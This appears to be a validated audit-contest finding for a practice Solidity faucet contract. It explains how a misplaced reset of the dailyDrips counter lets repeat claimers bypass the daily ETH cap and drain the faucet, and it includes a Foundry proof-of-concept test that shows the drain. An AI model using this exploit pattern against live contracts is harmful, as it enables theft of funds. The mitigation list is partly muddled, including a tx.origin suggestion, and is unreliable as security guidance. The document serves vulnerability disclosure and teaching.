Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Faucet's Daily ETH Cap Bypass

Root + Impact

Description

  • Under normal behavior, the dailyDrips counter should continuously track the amount of Sepolia ETH distributed and reset only once per 24-hour cycle. This mechanism is designed to enforce the dailySepEthCap. The issue is that the dailyDrips counter is incorrectly reset to 0 inside the else block of the claimFaucetTokens() function. This bug is triggered whenever a user who has already claimed ETH attempts to claim it again, allowing attackers to bypass the daily limit and drain the faucet's funds.

// inside claimFaucetTokens()
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// normal ETH drip logic for first-time claimers
} else {
@> dailyDrips = 0; // ❌ Vulnerable line — resets the global daily drip counter
}

Risk

Likelihood:

  • The attack can be triggered by any previously claimed address, making a repeat call; no special permissions or timing are required.

  • The exploit can be easily automated with a script that makes alternating calls from two or more wallets.

Impact:

  • The daily ETH limit (dailySepEthCap) becomes meaningless, as it can be repeatedly reset.

  • The faucet's entire ETH balance can be fully drained in a short amount of time.

Proof of Concept

function testBypassOfDailyEthCapExploit() public {
assertEq(address(raiseBoxFaucet).balance, 1 ether, "Initial faucet ETH balance must be 1 ether");
vm.prank(user1);
raiseBoxFaucet.claimFaucetTokens();
uint256 firstDailyDrip = raiseBoxFaucet.dailyDrips();
console.log("After User1 claim - dailyDrips:", firstDailyDrip);
assertEq(address(user1).balance, 0.005 ether, "User1 should receive 0.005 ETH");
assertGt(firstDailyDrip, 0, "Daily drips should increase after first claim");
vm.prank(user2);
raiseBoxFaucet.claimFaucetTokens();
vm.warp(block.timestamp + 4 days);
vm.prank(user2);
raiseBoxFaucet.claimFaucetTokens();
uint256 resetDailyDrip = raiseBoxFaucet.dailyDrips();
console.log("After User2 re-claim (bug trigger) - dailyDrips:", resetDailyDrip);
assertEq(resetDailyDrip, 0, "BUG TRIGGERED: dailyDrips reset to 0");
vm.prank(user3);
raiseBoxFaucet.claimFaucetTokens();
uint256 afterExploitDailyDrips = raiseBoxFaucet.dailyDrips();
console.log("After exploit - dailyDrips:", afterExploitDailyDrips);
console.log("Contract ETH balance left:", address(raiseBoxFaucet).balance);
assertEq(address(user3).balance, 0.005 ether, "User3 wrongly received ETH again");
assertGt(afterExploitDailyDrips, 0, "DailyDrips incremented again from zero after exploit");
uint256 finalBalance = address(raiseBoxFaucet).balance;
assertLt(finalBalance, 1 ether - (0.005 ether * 2), "ETH balance drained due to bypass");
console.log("Exploit successful. Remaining ETH in faucet:", finalBalance);
}

Recommended Mitigation

  • Only reset dailyDrips at a fixed daily interval (e.g., midnight UTC).

  • Track hasClaimedEth globally for daily limit.

  • Track hasClaimedEth per user with lastClaimTime to enforce a 3-day cooldown.

  • Allow claims regardless of contract ETH balance.

  • Limit ETH sent per claim to the available balance; revert or skip if insufficient.

  • No check on contract vs EOAs.

  • Optionally restrict ETH claims to externally owned accounts (EOAs) only using require(msg.sender == tx.origin).

Updates

Lead Judging Commences

inallhonesty Lead Judge 12 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.